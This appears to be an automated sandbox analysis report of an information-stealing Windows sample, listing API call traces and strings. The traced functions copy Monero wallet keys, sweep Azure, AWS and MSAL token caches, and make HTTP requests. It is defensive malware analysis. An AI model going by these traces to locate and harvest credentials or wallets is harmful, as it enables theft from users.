Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: a06c988e4c789b528fdbc486dc4448f02ef47fa4108aa616ccf8ead4bf975332
Instruction ID: 38253f1c04ac5450d6338614624ffeaf14b692e010906b0bf0fb5d37e08c4ba4
Opcode Fuzzy Hash: a06c988e4c789b528fdbc486dc4448f02ef47fa4108aa616ccf8ead4bf975332
Instruction Fuzzy Hash: AE121172820119ABDB15EBA0EC99FEEB778BFD4700F408159F11A72091EF702A49DF56

Function 0056CEF0 Relevance: 37.1, APIs: 20, Strings: 1, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 00578B60: GetSystemTime.KERNEL32(00580E1A,0044A8A8,005805AE,?,?,005613F9,?,0000001A,00580E1A,00000000,?,00449188,?,\Monero\wallet.keys,00580E17), ref: 00578B86

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0056CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0056D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0056D0CE
lstrcat.KERNEL32(?,00000000), ref: 0056D208
lstrcat.KERNEL32(?,00581478), ref: 0056D217
lstrcat.KERNEL32(?,00000000), ref: 0056D22A
lstrcat.KERNEL32(?,0058147C), ref: 0056D239
lstrcat.KERNEL32(?,00000000), ref: 0056D24C
lstrcat.KERNEL32(?,00581480), ref: 0056D25B
lstrcat.KERNEL32(?,00000000), ref: 0056D26E
lstrcat.KERNEL32(?,00581484), ref: 0056D27D
lstrcat.KERNEL32(?,00000000), ref: 0056D290
lstrcat.KERNEL32(?,00581488), ref: 0056D29F
lstrcat.KERNEL32(?,00000000), ref: 0056D2B2
lstrcat.KERNEL32(?,0058148C), ref: 0056D2C1
lstrcat.KERNEL32(?,00000000), ref: 0056D2D4
lstrcat.KERNEL32(?,00581490), ref: 0056D2E3

Part of subcall function 0057A820: lstrlen.KERNEL32(00564F05,?,?,00564F05,00580DDE), ref: 0057A82B
Part of subcall function 0057A820: lstrcpy.KERNEL32(00580DDE,00000000), ref: 0057A885

lstrlen.KERNEL32(?), ref: 0056D32A
lstrlen.KERNEL32(?), ref: 0056D339

Part of subcall function 0057AA70: StrCmpCA.SHLWAPI(00449098,0056A7A7,?,0056A7A7,00449098), ref: 0057AA8F

DeleteFileA.KERNEL32(00000000), ref: 0056D3B4

Strings

PD, xrefs: 0056CF06

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: PD
API String ID: 1956182324-2666890729
Opcode ID: 41c495798a4447282362773f36c2dedf13cb8b01b94375b05f64b912e473c1be
Instruction ID: e9d9281973623e142841c5f70f8c914063392505ecb046c15cd8285fa8e1544b
Opcode Fuzzy Hash: 41c495798a4447282362773f36c2dedf13cb8b01b94375b05f64b912e473c1be
Instruction Fuzzy Hash: B6E11171910109ABCB04EBA0ED9AEEE7B78BFD4301F108554F50AB7091DF39AA05DB66

Function 00578320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

RegOpenKeyExA.KERNEL32(00000000,0044AFB8,00000000,00020019,00000000,005805B6), ref: 005783A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00578426
wsprintfA.USER32 ref: 00578459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0057847B
RegCloseKey.ADVAPI32(00000000), ref: 0057848C
RegCloseKey.ADVAPI32(00000000), ref: 00578499

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Strings

?, xrefs: 0057837A
- , xrefs: 005785A3
%s\%s, xrefs: 0057844D

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 33e97b89351ef061f255101b249737764a28662de02444d05a558262646f5a33
Instruction ID: 682a4d17dcad65860f466161b0be5ba825546b5fa6563e721b9f8dd00cdbe864
Opcode Fuzzy Hash: 33e97b89351ef061f255101b249737764a28662de02444d05a558262646f5a33
Instruction Fuzzy Hash: B9813E71910118ABDB64DB64DC95FEE7BB8FF88700F00C698E109A6180DF746B89DFA5

Function 00566280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00564839
Part of subcall function 005647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00564849

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

InternetOpenA.WININET(00580DFE,00000001,00000000,00000000,00000000), ref: 005662E1
StrCmpCA.SHLWAPI(?,0044F8B0), ref: 00566303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00566335
HttpOpenRequestA.WININET(00000000,GET,?,0044F550,00000000,00000000,00400100,00000000), ref: 00566385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005663BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005663D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005663FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0056646D
InternetCloseHandle.WININET(00000000), ref: 005664EF
InternetCloseHandle.WININET(00000000), ref: 005664F9
InternetCloseHandle.WININET(00000000), ref: 00566503

Strings

ERROR, xrefs: 005664C9
GET, xrefs: 0056637C
ERROR, xrefs: 00566407

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 26286458164436e26dfbe0fbe96bd3c0835aa639d36d404a87edfb8714aaca1f
Instruction ID: 87418f07774bcfbf4328c049b1c2e979bd5398becc1a3034dead2f40add9d35c
Opcode Fuzzy Hash: 26286458164436e26dfbe0fbe96bd3c0835aa639d36d404a87edfb8714aaca1f
Instruction Fuzzy Hash: 8C713F71A00218ABDF24DFA0DC59FEE7B78FB84701F108558F50A6B190DBB46A85DF52

Function 00575510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A820: lstrlen.KERNEL32(00564F05,?,?,00564F05,00580DDE), ref: 0057A82B
Part of subcall function 0057A820: lstrcpy.KERNEL32(00580DDE,00000000), ref: 0057A885

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00575644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005756A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00575857

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005751F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00575228

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 005752C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00575318
Part of subcall function 005752C0: lstrlen.KERNEL32(00000000), ref: 0057532F
Part of subcall function 005752C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00575364
Part of subcall function 005752C0: lstrlen.KERNEL32(00000000), ref: 00575383
Part of subcall function 005752C0: lstrlen.KERNEL32(00000000), ref: 005753AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0057578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00575940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00575A0C
Sleep.KERNEL32(0000EA60), ref: 00575A1B

Strings

ERROR, xrefs: 00575932
ERROR, xrefs: 00575636
ERROR, xrefs: 00575693
ERROR, xrefs: 00575849
ERROR, xrefs: 005759FE
ERROR, xrefs: 0057577D

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 2144d8ecef88bb8d07a18c77fcf026ad9be03c5d6141fc91b826367d230678ed
Instruction ID: e27ed4daa1862c8c51c8648f97c72fb31df2f2f0ab1c4b576d63074681862a10
Opcode Fuzzy Hash: 2144d8ecef88bb8d07a18c77fcf026ad9be03c5d6141fc91b826367d230678ed
Instruction Fuzzy Hash: E2E13172910105AACB18FBB0EC5ADFD7B38BBD4300F50C528B41A66095FF746A09EB97

Function 00574D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

lstrcat.KERNEL32(?,00000000), ref: 00574DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00574DCD

Part of subcall function 00574910: wsprintfA.USER32 ref: 0057492C
Part of subcall function 00574910: FindFirstFileA.KERNEL32(?,?), ref: 00574943

lstrcat.KERNEL32(?,00000000), ref: 00574E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00574E59

Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,00580FDC), ref: 00574971
Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,00580FE0), ref: 00574987
Part of subcall function 00574910: FindNextFileA.KERNEL32(000000FF,?), ref: 00574B7D
Part of subcall function 00574910: FindClose.KERNEL32(000000FF), ref: 00574B92

lstrcat.KERNEL32(?,00000000), ref: 00574EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00574EE5

Part of subcall function 00574910: wsprintfA.USER32 ref: 005749B0
Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,005808D2), ref: 005749C5
Part of subcall function 00574910: wsprintfA.USER32 ref: 005749E2
Part of subcall function 00574910: PathMatchSpecA.SHLWAPI(?,?), ref: 00574A1E
Part of subcall function 00574910: lstrcat.KERNEL32(?,0044FA70), ref: 00574A4A
Part of subcall function 00574910: lstrcat.KERNEL32(?,00580FF8), ref: 00574A5C
Part of subcall function 00574910: lstrcat.KERNEL32(?,?), ref: 00574A70
Part of subcall function 00574910: lstrcat.KERNEL32(?,00580FFC), ref: 00574A82
Part of subcall function 00574910: lstrcat.KERNEL32(?,?), ref: 00574A96
Part of subcall function 00574910: CopyFileA.KERNEL32(?,?,00000001), ref: 00574AAC
Part of subcall function 00574910: DeleteFileA.KERNEL32(?), ref: 00574B31

Strings

*.*, xrefs: 00574DD8
Azure\.azure, xrefs: 00574DD3
\.aws\, xrefs: 00574E4D
Azure\.aws, xrefs: 00574E5F
*.*, xrefs: 00574E64
\.IdentityService\, xrefs: 00574ED9
Azure\.IdentityService, xrefs: 00574EEB
\.azure\, xrefs: 00574DC1
msal.cache, xrefs: 00574EF0

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6fccc383ce3e54792028810f9599ac0cf5611322a27aea380c87fec594f2b010
Instruction ID: ac3f2b71454b6dd5050e9f3a582596d646a98c9db5549489866489d1bfb6cf65
Opcode Fuzzy Hash: 6fccc383ce3e54792028810f9599ac0cf5611322a27aea380c87fec594f2b010
Instruction Fuzzy Hash: 4441537A940204A7D754F770EC5FFED7A38BBA4700F008854B68A660C1EEB457C99B96

Function 00561310 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005612A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005612B4
Part of subcall function 005612A0: RtlAllocateHeap.NTDLL(00000000), ref: 005612BB
Part of subcall function 005612A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005612D7
Part of subcall function 005612A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005612F5
Part of subcall function 005612A0: RegCloseKey.ADVAPI32(?), ref: 005612FF

lstrcat.KERNEL32(?,00000000), ref: 0056134F
lstrlen.KERNEL32(?), ref: 0056135C
lstrcat.KERNEL32(?,.keys), ref: 00561377

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 00578B60: GetSystemTime.KERNEL32(00580E1A,0044A8A8,005805AE,?,?,005613F9,?,0000001A,00580E1A,00000000,?,00449188,?,\Monero\wallet.keys,00580E17), ref: 00578B86

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00561465

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005699EC
Part of subcall function 005699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00569A11
Part of subcall function 005699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00569A31
Part of subcall function 005699C0: ReadFile.KERNEL32(000000FF,?,00000000,0056148F,00000000), ref: 00569A5A
Part of subcall function 005699C0: LocalFree.KERNEL32(0056148F), ref: 00569A90
Part of subcall function 005699C0: CloseHandle.KERNEL32(000000FF), ref: 00569A9A

DeleteFileA.KERNEL32(00000000), ref: 005614EF

Strings

.keys, xrefs: 0056136B
SOFTWARE\monero-project\monero-core, xrefs: 00561335
wallet_path, xrefs: 00561330
PD, xrefs: 00561404
\Monero\wallet.keys, xrefs: 0056138D

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
